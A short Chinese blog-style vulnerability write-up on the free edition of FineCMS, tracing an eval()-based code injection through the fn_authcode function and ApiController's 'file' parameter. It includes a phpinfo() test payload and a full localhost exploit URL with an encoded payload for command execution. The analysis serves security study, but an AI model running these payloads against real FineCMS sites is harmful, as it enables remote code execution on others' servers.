finecms免费版漏洞分析
FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统
0x00 开始前的准备
网上存在许多5.0.X的漏洞分析,本来想找个5.0.x版本的进行分析,结果最后只找到了一个免费版
0x01 寻找漏洞
在\extensions\下的function.php文件下有一个函数
其中的
1 | @eval("\$array = $data;"); |
很明显存在漏洞,先测试下
Payload:?a=array();phpinfo()
0x02 漏洞利用
回到CMS中,找一下哪里用了这个函数,在function.php文件里发现了一个fn_authcode函数
1 | /** |
发现这个函数在ApiController.php文件中被调用
1 | $data = fn_authcode(base64_decode($this->get('file')), 'DECODE'); |
这里的file可控,现在只要构造合适的file就可以达成命令执行了,回到fn_authocode函数,这是一个只和SITE_MEMBER_COOKIE有关的函数,而SITE_MEMBER_COOKIE又是一个默认的值,只要将fn_authcode的参数改一下就可以构造成我们要的payload
尝试下
1 | http://localhost/finecms/?c=api&a=down&file=ZmZlMXhvY3N4ZWluZnpuSEoyUGRBRkhPZ01rcGRQbFdLZ1RJT3pSaG0rR21ab1JyRS96c1dnMnFJT1dTMUVn |
0x03 总结
这一次漏洞分析还是异常吃力,漏洞函数很容易就发现了,但是漏洞利用的地方找了半天,除此之外就是fn_authocode函数的加解密,长见识了,对网站的整体结构了解还是不够,继续努力。